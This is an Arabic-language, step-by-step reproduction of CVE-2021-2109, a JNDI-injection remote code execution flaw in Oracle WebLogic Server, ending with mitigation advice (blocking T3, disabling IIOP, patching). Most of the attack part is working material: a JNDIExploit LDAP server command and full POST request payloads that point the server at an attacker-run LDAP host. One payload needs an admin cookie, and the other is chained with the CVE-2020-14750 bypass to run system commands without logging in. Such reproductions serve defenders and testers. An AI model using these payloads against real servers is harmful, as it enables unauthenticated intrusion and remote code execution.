
إعادة إنتاج وتحليل خطوة بخطوة لـ CVE-2021-2109، وهي ثغرة تنفيذ كود عن بُعد في خادم Weblogic عبر حقن JNDI، مع إثبات المفهوم وتوجيهات التخفيف.
في يناير 2021، أصدرت Oracle تحديثًا أمنيًا يتضمن 329 تصحيحًا أمنيًا جديدًا ضمن مجموعة منتجات Oracle. وقد تم الإشارة بشكل خاص في هذا الإعلان إلى الإشعار الأمني لـ Oracle WebLogic Server حول ثغرة CVE-2020-14750 الذي صدر في 1 نوفمبر 2020. يُوصى بشدة بتطبيق هذا التحديث بالإضافة إلى التصحيحات الأخرى الواردة في الإعلان. الثغرة التي تحمل المعرف CVE-2021-2109 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في WebLogic. تنشأ الثغرة بشكل أساسي من حقن JNDI، مما يسمح للمهاجم باستغلالها لتنفيذ تعليمات برمجية عن بُعد.
الإصدارات المتأثرة كالتالي:
استخدام DOCKER لبناء بيئة اختبار Weblogic Server، ويمكن الوصول إلى Weblogic Server بشكل طبيعي.

حقن JNDI عند تسجيل الدخول إلى الخلفية بشكل طبيعي
الحالة الأولى: تتطلب استخدام حساب مسؤول لتسجيل الدخول إلى خلفية Weblogic Server، والتقاط حزمة تسجيل الدخول عبر BurpSuite للحصول على بيانات ملف تعريف الارتباط (Cookie) الخاصة بتسجيل الدخول.

تشغيل LDAP محليًا، يمكن تنزيله من https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11، الأمر كالتالي:
java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

إرسال حزمة POC الخاصة بحقن JNDI لثغرة تنفيذ التعليمات البرمجية عن بُعد في Weblogic Server CVE-2021-2109:
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

تنفيذ أمر النظام ipconfig عبر متغير cmd

حقن JNDI باستخدام الوصول غير المصرح به إلى خلفية Weblogic Server
الحالة الثانية: لا تتطلب تسجيل الدخول إلى خلفية Weblogic Server.
يتطلب ذلك استخدام ثغرة الوصول غير المصرح به CVE-2020-14750 في Weblogic Server، وإرسال حزمة POC الخاصة بحقن JNDI لثغرة تنفيذ التعليمات البرمجية عن بُعد CVE-2021-2109:
POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

تنفيذ calc.exe عبر متغير cmd لفتح حاسبة النظام


فتح حاسبة النظام

تعطيل بروتوكول T3
إذا كنت لا تعتمد على بروتوكول T3 للاتصال بـ JVM، يمكنك تخفيف تأثير هذه الثغرة عن طريق حظر بروتوكول T3 مؤقتًا.
weblogic.security.net.ConnectionFilterImpl، وفي قاعدة عامل تصفية الاتصال أدخل: * * 7001 deny t3 t3s.تعطيل IIOP
سجل الدخول إلى وحدة تحكم Weblogic، ابحث عن خيار تمكين IIOP، قم بإلغاء التحديد، وأعد التشغيل لتفعيل التغيير.
إغلاق الوصول الخارجي إلى /console/console.portal مؤقتًا
تثبيت التحديث الأمني الرسمي